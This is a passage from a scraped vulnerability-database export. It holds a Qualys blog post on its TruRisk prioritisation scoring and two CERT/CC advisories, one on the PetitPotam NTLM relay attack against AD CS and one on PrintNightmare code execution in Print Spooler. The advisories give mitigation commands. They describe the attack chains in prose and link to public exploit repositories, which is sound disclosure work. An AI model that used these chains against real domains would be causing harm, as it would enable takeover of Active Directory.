Vulnerability Database (NVD) ](<https://nvd.nist.gov/vuln/detail/CVE-2021-36942>), yet it\u2019s actively exploited today by malware groups and threat actors. The exploit code maturity is weaponized, making it easy for attackers to exploit the vulnerability to compromise and infect systems (see Figure 1). \n\nFig. 1: CVE low severity rating, yet weaponized exploit code\n\nFrom a cyber risk perspective, CVE-2021-36942 is a far greater risk to an organization than CVE-2020-13112 and should be patched sooner. But due to the lack of threat and risk context available in CVSS based ratings, many organizations would prioritize and remediate CVE-2020-13112 first, even though this won\u2019t reduce much risk to the organization. \n\n### Qualys TruRiskTM Weighs Multiple Risk Factors \n\nQualys has introduced a new approach to prioritize vulnerabilities, assets, and groups of assets based on the actual risk, or \u201ctrue risk\u201d, they pose to the organization. This allows the average enterprise to focus on 40% fewer critical vulnerabilities, assets, or groups of assets for priority remediation, resulting in maximum risk reduction to the business. \n\n[Read the VMDR 2.0 Press Release](<https://www.qualys.com/vmdr-2-press-release>) \n\n\n\nOur new offering, [Qualys TruRisk](<https://www.qualys.com/apps/vulnerability-management-detection-response/>)TM, also helps organizations quantify cyber risk so that they can accurately measure it, take steps to reduce exposure, track risk reduction trends over time, and better measure effectiveness of their cyber security program.\n\nHow? Qualys TruRisk compiles two key risk-based scores in [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) that are made available to all services of the Qualys Cloud Platform:\n\n 1. Qualys Detection Score \n 2. Asset Risk Score \n\nLet\u2019s examine the formulas behind each of these scores more closely\u2026\n\n### About Qualys Detection Score (QDS)\n\n**Qualys Detection Score** is our new proprietary risk scoring algorithm that measures the true risk of the vulnerability to the customer\u2019s specific, unique IT environment by considering seven different criteria. It returns a holistic risk assessment rather than relying solely on the technical severity of the vulnerability as assessed by the CVSS rating system. This more fine-grained approach allows Cybersecurity teams to focus only on vulnerabilities critical to their business.\n\nHere are the criteria used as input to the algorithm (Fig. 2).\n\n**CVSS Base Score**\n\nThe QDS algorithm starts with the CVSS score as only one of the many inputs to assess the risk of the vulnerability.\n\n**Real-Time Threat Indicators (RTIs)** \n\nThe algorithm next considers the type of vulnerability. For example, is it a Denial-of-Service (DoS) vulnerability or a remotely exploitable vulnerability? In the case of remote vulnerability or a web application vulnerability, the risk is rated higher. \n\n**Exploit Code Maturity ** \n\nThe algorithm then analyzes the exploit code maturity for the given vulnerability. The exploit code maturity could be a Proof-Of-Concept (POC) which suggests a theoretical exploit exists. It may already work against systems, or it could be weaponized, in which case the exploit code is considered very mature and can be easily used to compromise a system. The algorithm rates weaponized exploits higher than POC exploits. \n\n**Malware ** \n\nNext, QDS verifies if the vulnerability is actively exploited by malware. If it is actively exploited by any malware, then the risk is rated higher. \n\n**Threat Actors** \n\nQDS validates if any threat actors or ransomware groups are actively exploiting the vulnerability. If that\u2019s the case, the risk is rated even higher. \n\n**Trending Risk** \n\nThe algorithm also checks if the vulnerability has been actively exploited in the last 14 days by monitoring the Dark Web, social media, GitHub accounts, and many other such sources. The risk is further increased if the vulnerability is determined to be trending and exploited in the wild. \n\n**Applied Mitigation Controls** \n\nFinally, the algorithm correlates the risk from the vulnerability with the intelligence on the asset to assess whether the vulnerability represents a threat to the system. For example, the vulnerability may exist on the system, but the system may have mitigation controls already applied which greatly reduce the risk of exploitation of the vulnerability in the customer\u2019s specific environment. \n\nA classic example of this scenario is the vulnerability MS171-010 (aka WannaCry). The risk from this vulnerability can be greatly mitigated if the SMBV1 protocol is disabled on the system. If that\u2019s the case, QDS would rate the risk of exploitation as very low. \n\nConsideration of applied mitigation controls is a unique capability of Qualys TruRisk to assess the true risk of any given vulnerability. \n\nFig. 2: The many factors considered by Qualys algorithm \n\nLast but not least, the QDS score is specific to a Qualys ID (QID), which is an assigned vulnerability identifier in Qualys. A QID can potentially have multiple CVEs associated with it, in which case the QDS is equivalent to the _highest _Qualys Vulnerability Score (QVS) for the CVE, _minus _the mitigation factors that have been applied on the asset. \n\n### Powered by a Comprehensive Exploit & Threat Intelligence Database \n\nThe above listed factors are assessed by analyzing more than 185,000 CVEs tracked from 25+ different exploit and threat intelligence sources such as Canvas, Metasploit, Exploit DB, and many more. Qualys also tracks GitHub which is increasingly becoming the favored domain for published exploits once a new vulnerability is disclosed. \n\nBuilding an accurate risk profile for any CVE requires combining multiple factors to assess its risk. Qualys Detection Score leverages these factors to compute the true risk of the vulnerability. \n\n### About Asset Risk Score (ARS) \n\nQualys TruRisk\u2019s next type of risk score allows organizations to identify the riskiest assets in their organization. To assess the risk an asset poses to an organization, the** Asset Risk Score** considers multiple factors. \n\nThe primary measure that\u2019s considered is what we call Asset Criticality. To assess the risk an asset poses to the organization is to determine the business value of that asset. For example: Is the asset part of a production system, or a system hosting a production database, or is it purely an internal system used for development and test purposes. Clearly production assets should be rated higher. \n\nQualys TruRisk determines the business criticality of the asset using multiple approaches, including: \n\n * **Manual** **Ratings **\u2013 TruRisk allows users to set the criticality of the system by using asset tags \n * **Synchronization with CMDB** \u2013 Most enterprises store business criticality information for assets in a configuration management database, Qualys automatically maps to CMDB data to match the criticality of the system \n * **API\u2019s \u2013 **Using [Qualys APIs for Asset Management and Tagging](<https://www.qualys.com/docs/qualys-asset-management-tagging-api-v2-user-guide.pdf>), users can assign business criticality to an asset, which helps automate the process \n * **Vulnerabilities found of the system **\u2013 Finally, TruRisk analyzes the vulnerabilities found on the system and determines the asset\u2019s risk based on the QDS scores. Vulnerabilities with higher QDS scores on the asset result in a higher Asset Risk Score. \n\n### Asset Risk Score Formula\n\nBased on the above criteria Qualys TruRisk assigns an Asset Risk Score to the asset.\n\nAs shown in Figure 3, the ARS is computed based on the above criteria to the following formula: \n\n`_Asset Risk Score = Asset Criticality Score * {Weighted.average of vulnerabilities}_`\n\n`Weighted.average of vulnerabilities = wc(Avg(QDSc)) + wh(Avg(QDSh)) + wm(Avg(QDSm)) + wl(Avg(QDSl))`\n\nFigure 3: Representation of the Asset Risk Score formula in Qualys TruRisk\n\n### How Qualys TruRisk Visualizes Risk for an Organization \n\nThe new Risk Score widget introduced in VMDR 2.0 with Qualys TruRisk helps to visualize an overall cyber risk score for an organization, or a risk score for a specific environment or asset groups within the organization. \n\nIt helps to visualize how cyber risk is being mitigated and will show the reduced score if the vulnerabilities on the group of assets are fixed. The trending details help to visualize risk reduction in a better way. Risk score widgets show how different teams across the organization are performing and how they are maintaining cyber risk to the business under an acceptable limit. \n\nThis Risk Score is an average of all the asset risk scores within the tag selected. If there is no tag selection, then the average for all the assets within the environment is calculated to show overall cyber risk for the organization (Fig. 4). \n\nFigure 4: Qualys TruRisk shows the average of all risks in the environment or asset group\n\n### How to Prioritize Remediation using Qualys TruRisk scores \n\nVMDR 2.0 with Qualys TruRisk has introduced several new filters which help to prioritize vulnerability remediation based on risk scores. The new feature \u201c**Qualys TruRisk Mode**\u201d under the prioritization menu tab offers three main filters on TruRisk: \n\n 1. **Filter by Asset criticality** \u2013 Allows users to select asset criticality ranging from 1 to 5 \n 2. **Filter by Qualys Detection score** \u2013 Allows users to filter vulnerabilities for the assets within the selected tag by QDS scores \n 3. **Filter by Asset Risk score** \u2013 Allows users to filter number of assets based on their risk score and helps focus on riskiest assets during prioritization \n\nUsing these filters (Fig. 5), users can focus on the riskiest assets and their critical vulnerabilities easily without needing to understand complex criteria like different kinds of RTIs and other parameters associated with vulnerabilities. \n\nFigure 5: Qualys TruRisk Mode applies filters for easy prioritization\n\n### Qualys VMDR Reporting Now Includes TruRisk \n\nThe enhanced reports in VMDR 2.0 now include all TruRisk details. Risk score columns are now included toward the end of the host-based scan reports. \n\nReports include QDS, ACS and ARS values. \n\nPortal vulnerability reports are another way offered in VMDR 2.0 that helps users to export Risk Score details. \n\n### Qualys TruRisk API Support \n\nA new API has been introduced as part of the release of Qualys VMDR 2.0. This API is CVE centric and helps users get details about each CVE and its corresponding Qualys Vulnerability Score (QVS). Even if the CVE doesn\u2019t have any associated QIDs, the API helps users retrieve the QVS score and contributing factors to the score, as shown in Figure 6. \n\nUsers can search the Qualys knowledgebase for information on a CVE using this API Endpoint string: `https://<POD name>/api/2.0/fo/knowledge_base/qvs/?action=list&details=All&cve=<CVE ID>`\n\nFigure 6: API Endpoint helps to extract threat intelligence data for a CVE\n\nWe have also modified our existing APIs for Hosts. Host list and Host list detection have been modified to give users the option of exporting the details of TruRisk scores. \n\nFor the Host list API, the new parameter introduced is: `- show_ars=1`. When this optional parameter is added, ARS detail will appear in the output XML (Fig. 7). \n\nFigure 7: API Endpoint to look for Asset Risk Score & Criticality\n\nFor Host list detection, the new parameters introduced are: show_qds=1, qds_min=1, qds_max=100, and show_qds_factors=1. These parameters help to retrieve the QDS and its contributing factors as part of the output XML (Fig. 8). \n\nFigure 8: API Endpoint to get QVS score details for each vulnerability detected on an asset\n\n### Qualys TruRisk Frequently Asset Questions (FAQ\u2019s) \n\n**How are QDS scores calculated for each vulnerability?** \n\nThe scores are updated during the asset scan. When the vulnerabilities are detected, we determine which CVE contributes the most. The CVE with the highest QVS score is selected. The formula also looks for the details of mitigation controls applied and then calculates the QDS score. \n\n**Why is the QDS score blank for some Qualys IDs?** \n\nIf the QID is associated to a latest CVE for which the National Vulnerability Database doesn\u2019t hold any details, then for such vulnerabilities the QDS score is blank. \n\n**If there are multiple tags on an asset that represent different criticality, which tag is used in the Asset Risk Score formula?** \n\nThe tag that has the highest criticality value is chosen for Asset Risk Score formula. \n\n**Why are some of vulnerabilities scored higher by QDS compared to the CVSS score?** \n\nWhen the QDS score is calculated, the formula looks at the details of each criterion mentioned in the QDS section above. If the formula determines that the CVE has active threats and falls under an exploitable category, it will result in a higher QDS score as compared with its CVSS score, which is a static score assigned at the time when the vulnerability is first disclosed and filed. \n\n**How does the formula determine whether the mitigation control has been applied?** \n\nOn an Asset when the user enables SCA or PC module and runs SCA or PC scan, the compliance module evaluates the mitigation controls on the asset. Based on the scan results the formula determines whether the mitigation control has been applied on the asset.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 9.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2022-08-08T21:54:42", "type": "qualysblog", "title": "A Deep Dive into VMDR 2.0 with Qualys TruRisk\u2122", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-13112", "CVE-2021-36942"], "modified": "2022-08-08T21:54:42", "id": "QUALYSBLOG:EBDC158D70A96D1C65D2AEE5C285A069", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "cert": [{"lastseen": "2023-05-23T17:11:51", "description": "### Overview\n\nMicrosoft Windows Active Directory Certificate Services (AD CS) by default can be used as a target for NTLM relay attacks, which can allow a domain-joined computer to take over the entire Active Directory.\n\n### Description\n\n[PetitPotam](<https://github.com/topotam/PetitPotam>) is a tool to force Windows hosts to authenticate to other machines by using the [Encrypting File System Remote (EFSRPC)](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr>) [EfsRpcOpenFileRaw](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8>) and other methods. When a system handles certain EFSRPC requests, it will by default use NTLM to authenticate with the host that is specified within the path to the file specified in the EFSRPC request. The user specified in the NTLM authentication information is the computer account of the machine that made the EFSRPC request.\n\nCode running on any domain-joined system will leverage Single Sign-On (SSO) to call these EFSRPC functions on a domain controller without needing to know the credentials of the current user or any other user in an Active Directory. And because the EFSRPC methods authenticate as the machine dispatching the request, this means that a user of any system connected to an AD domain can trigger an NTLM authentication request as the domain controller machine account to an arbitrary host, without needing to know any credentials. This can allow for NTLM relay attacks. Furthermore, the `EfsRpcOpenFileRaw` function can be invoked in a truly anonymous manner, without requiring credentials via SSO or other means.\n\nOne publicly-discussed target for an NTLM relay attack from a domain controller is a machine that hosts [Microsoft AD CS](<https://docs.microsoft.com/en-us/windows-server/networking/core-network-guide/cncg/server-certs/install-the-certification-authority>). By relaying an NTLM authentication request from a domain controller to the Certificate Authority Web Enrollment or the Certificate Enrollment Web Service on an AD CS system, an attacker can obtain a certificate that can be used to obtain a Ticket Granting Ticket (TGT) from the domain controller. This attack, known as a \"Golden Ticket\" attack, can be used to fully compromise the entire Active Directory infrastructure.\n\nAlthough Microsoft refers to this entire attack chain as \"PetitPotam\" in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>), it is important to realize that PetitPotam is simply the single PoC exploit used to invoke an NTLM authentication request by way of a `EfsRpcOpenFileRaw` request. It should be noted that:\n\n 1. There may be other techniques that may cause a Windows system to initiate a connection to an arbitrary host using privileged NTLM credentials.\n 2. There may be services other than AD CS that may be leveraged to use as a target for a relayed NTLM authentication request.\n\n### Impact\n\nBy making a crafted RPC request to a vulnerable Windows system, a remote attacker may be able to leverage the NTLM authentication information that is included in the request that is generated. In the case of AD CS, this can allow an attacker on any domain-joined system to be able to compromise the Active Directory.\n\n### Solution\n\n#### Apply an update\n\nThis issue is partially addressed in the [Microsoft update for CVE-2021-36942](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>). This update blocks the unauthenticated `EfsRpcOpenFileRaw` API call that is exposed through the LSARPC interface. Note that the EFSRPC interface for accessing `EfsRpcOpenFileRaw` is still reachable to authenticated users after installing this update. In addition, other EFSRPC functions that require authentication to exploit are still exposed to users via LSARPC after this update is installed. This required authentication may take place silently via SSO on domain-joined systems. Please see [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) for several additional workarounds that can help mitigate other techniques for relaying NTLM credentials using an AD CS server.\n\n#### Enable Extended Protection for Authentication (EPA) and Require SSL on AD CS systems\n\nPlease see [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) for more details about enabling EPA to help protect against this weakness. It is important to note:\n\n 1. In addition to configuring EPA through the IIS Manager GUI, the Certificate Enrollment Web Service (CES) also requires modifying the `web.config` file to successfully enable EPA.\n 2. The CES and the CertSrv applications **must** be configured to enable the **Require SSL** option for EPA protection to work. If **Require SSL** is not enabled, then any changes to the EPA settings will not have any effect.\n\n#### Disable incoming NTLM on AD CS servers\n\nThe stage of leveraging an AD CS server to achieve the ability to get a TGT can be mitigated by disabling incoming NTLM support on AD CS servers. To configure this GPO setting, go to: **Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options** and set **Network security: Restrict NTLM: Incoming NTLM traffic** to **Deny All Accounts** or **Deny All domain accounts**\n\nNote that the group policy may need to be refreshed on the AD CS server for this mitigation to take effect.\n\n#### Disable the NTLM provider in IIS\n\nFor both the \"Certificate Authority Web Enrollment\" (CES) service (`<CA_INFO>-CA_CES_Kerberos` in IIS Manager) and the \"Certificate Enrollment Web Service\" (`CertSrv` in IIS Manager) services:\n\n 1. Open IIS Manager\n 2. Select Sites -> Default Web Site (or another name if it was manually reconfigured) -> `*-CA_CES_Kerberos` and `CertSrv`\n 3. Select `Windows Authentication`\n 4. Click the `Providers...` link on the right side\n 5. Select `NTLM`\n 6. Click the `Remove` Button\n 7. Restart IIS from an Administrator CMD prompt: `iisreset /restart`\n\n#### Block [MS-ESFR] (EFSRPC) using RPC filters\n\nRPC filters can be used to block the (remote) EFSRPC functionality that PetitPotam uses. This can be done by blocking the [RPC interface UUIDs for EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/1baaad2f-7a84-4238-b113-f32827a39cd2>).\n\nFirst create a file called `block_efsr.txt` and place the following contents in it:\n \n \n rpc\n filter\n add rule layer=um actiontype=block\n add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e\n add filter\n add rule layer=um actiontype=block\n add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d\n add filter\n quit\n \n\nThen import the filter using the following command from an elevated-privileged command prompt: \n`netsh -f block_efsr.txt`\n\nAlternatively, the above text block can be pasted into an interactive `netsh` session if you wish to avoid the use of a file to import the rules from.\n\nThe current filters can be viewed by running the following command: \n`netsh rpc filter show filter`.\n\nAll RPC filters can be removed using the following command: \n`netsh rpc filter delete filter filterkey=` \nThis will restore Windows to its default configuration of not having any RPC filters. If you have other RPC filters in place and wish to remove only the EFSRPC filters, you can specify the specific `filterKey` values that are reported by the `show filter` command listed above.\n\n#### Disable NTLM Authentication on your Windows domain controller\n\nInstructions for disabling NTLM authentication in your domain can be found in the article [Network security: Restrict NTLM: NTLM authentication in this domain](<https://docs.microsoft.com/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain>).\n\nNote that existing logins may need to be terminated for this mitigation to take effect. Also note that disabling NTLM has been reported by some to be disruptive to expected network functionality. For this reason, please consider the other workarounds in this vulnerability note.\n\n### Acknowledgements\n\nThe PetitPotam aspect of this attack chain was publicly disclosed by topotam. The AD CS aspect was publicly disclosed by harmj0y (Will Schroeder) and tifkin_ (Lee Christensen).\n\nThis document was written by Will Dormann.\n\n### Vendor Information\n\n405600\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### Microsoft Affected\n\nNotified: 2021-07-23 Updated: 2021-08-02\n\n**Statement Date: July 26, 2021**\n\n**CVE-2021-36942**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n \n\n\n### References\n\n * <https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>\n * <https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>\n * <https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>\n * <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr>\n * <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8>\n * <https://docs.microsoft.com/en-us/windows-server/networking/core-network-guide/cncg/server-certs/install-the-certification-authority>\n * <https://msrc-blog.microsoft.com/2009/12/08/extended-protection-for-authentication/>\n * <https://github.com/topotam/PetitPotam>\n * <https://posts.specterops.io/certified-pre-owned-d95910965cd2>\n * <https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2021-36942 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2021-36942>) \n---|--- \n**Date Public:** | 2021-08-02 \n**Date First Published:** | 2021-08-02 \n**Date Last Updated: ** | 2021-10-05 12:12 UTC \n**Document Revision: ** | 14 \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-08-02T00:00:00", "type": "cert", "title": "Microsoft Windows Active Directory Certificate Services can allow for AD compromise via PetitPotam NTLM relay attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2021-10-05T12:12:00", "id": "VU:405600", "href": "https://www.kb.cert.org/vuls/id/405600", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-05-27T15:38:20", "description": "### Overview\n\nThe Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.\n\n### Description\n\nThe [RpcAddPrinterDriverEx()](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>) function is used to install a printer driver on a system. One of the parameters to this function is the [DRIVER_CONTAINER](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886>) object, which contains information about which driver is to be used by the added printer. The other argument, `dwFileCopyFlags`, specifies how replacement printer driver files are to be copied. An attacker can take advantage of the fact that any authenticated user can call `RpcAddPrinterDriverEx()` and specify a driver file that lives on a remote server. This results in the Print Spooler service `spoolsv.exe` executing code in an arbitrary DLL file with SYSTEM privileges.\n\nNote that while original exploit code relied on the `RpcAddPrinterDriverEx` to achieve code execution, [an updated version of the exploit](<https://github.com/cube0x0/CVE-2021-1675>) uses [RpcAsyncAddPrinterDriver](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/5d864e3e-5d8b-4337-89ce-cb0258ab97cd>) to achieve the same goal. Both of these functions achieve their functionality using [AddPrinterDriverEx](<https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex>).\n\nWhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does **NOT** protect against public exploits that may refer to `PrintNightmare` or CVE-2021-1675.\n\nOn July 1, Microsoft released [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). This bulletin states that CVE-2021-34527 is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(). The attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update. \n\n### Impact\n\nBy sending a request to add a printer, e.g. by using `RpcAddPrinterDriverEx()` over SMB or `RpcAsyncAddPrinterDriver()` over RPC, a remote, authenticated attacker may be able to execute arbitrary code with SYSTEM privileges on a vulnerable system. A local unprivileged user may be able to execute arbitrary code with SYSTEM privileges as well. We have created a flowchart to indicate exploitability of PrintNightmare across various platform configurations:\n\n\n\n### Solution\n\n#### Apply an update\n\nMicrosoft has addressed this issue in the [updates for CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>) `NoWarningNoElevationOnInstall` is set to a non-`0` value. Microsoft indicates that systems that have `NoWarningNoElevationOnInstall` is set to a non-`0` value are **vulnerable by design.** For systems that do not have the CVE-2021-34527 installed, or have Point and Print configured insecurely, please consider the following workarounds:\n\n#### Apply a workaround\n\nMicrosoft has listed several workarounds in their [advisory for CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Specifically:\n\n#### Microsoft Option 1 - Stop and disable the Print Spooler service\n\nThis vulnerability can be mitigated by stopping and disabling the Print Spooler service in Windows.\n\nIf disabling the Print Spooler service is appropriate for your enterprise, use the following PowerShell commands:\n\n`Stop-Service -Name Spooler -Force`\n\n`Set-Service -Name Spooler -StartupType Disabled`\n\n**Impact of workaround** Disabling the Print Spooler service disables the ability to print both locally and remotely.\n\n#### Microsoft Option 2 - Disable inbound remote printing through Group Policy\n\nDisable the \u201cAllow Print Spooler to accept client connections:\u201d policy to block remote attacks.\n\n**Impact of workaround** This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\n**Note:** The Print Spooler service **must** be restarted for this workaround to be activated.\n\n#### Block RPC and SMB ports at the firewall\n\nLimited testing has shown that blocking both the RPC Endpoint Mapper (`135/tcp`) and SMB (`139/tcp` and `445/tcp`) incoming traffic at a host-based firewall level can prevent remote exploitation of this vulnerability. Note that blocking these ports on a Windows system may prevent expected capabilities from functioning properly, especially on a system that functions as a server.\n\n#### Enable security prompts for Point and Print\n\nEnsure that the Windows Point and Print Restrictions are set to `Show warning and elevation prompt` for both installing and updating drivers in the Windows Group Policy. Specifically the `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\\` key should have `NoWarningNoElevationOnInstall` and `UpdatePromptSettings` entries that are both set to `0`.\n\n#### Restrict printer driver installation ability to administrators\n\nAfter the Microsoft update for CVE-2021-34527 is installed, a registry value called `RestrictDriverInstallationToAdministrators` in the `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\\` key is checked, which is intended to restrict printer driver installation to only administrator users. Please see [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for more details.\n\n### Acknowledgements\n\nThis issue was publicly disclosed by Zhiniang Peng and Xuefeng Li.\n\nThis document was written by Will Dormann.\n\n### Vendor Information\n\n383432\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### Microsoft __ Affected\n\nNotified: 2021-06-30 Updated: 2021-07-08 **CVE-2021-1675**| Affected \n---|--- \n**CVE-2021-34527**| Affected \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>\n\n \n\n\n### References\n\n * <https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>\n * <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>\n * <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886>\n * <https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>\n * <https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex>\n * <https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>\n * <https://github.com/afwu/PrintNightmare>\n * <https://github.com/cube0x0/CVE-2021-1675>\n * <https://github.com/calebstewart/CVE-2021-1675>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2021-1675 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2021-1675>) [CVE-2021-34527 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2021-34527>) \n---|--- \n**Date Public:** | 2021-06-30 \n**Date First Published:** | 2021-06-30 \n**Date Last Updated: ** | 2021-08-03 15:36 UTC \n**Document Revision: ** | 32 \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "cert", "title": "Microsoft Windows Print Spooler allows for RCE via AddPrinterDriverEx()", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-08-03T15:36:00", "id": "VU:383432", "href": "https://www.kb.cert.org/vuls/id/383432", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "googleprojectzero": [{"lastseen": "2023-05-24T14:22:54", "description": "Posted by James Forshaw, Project Zero\n\nThis blog post is a 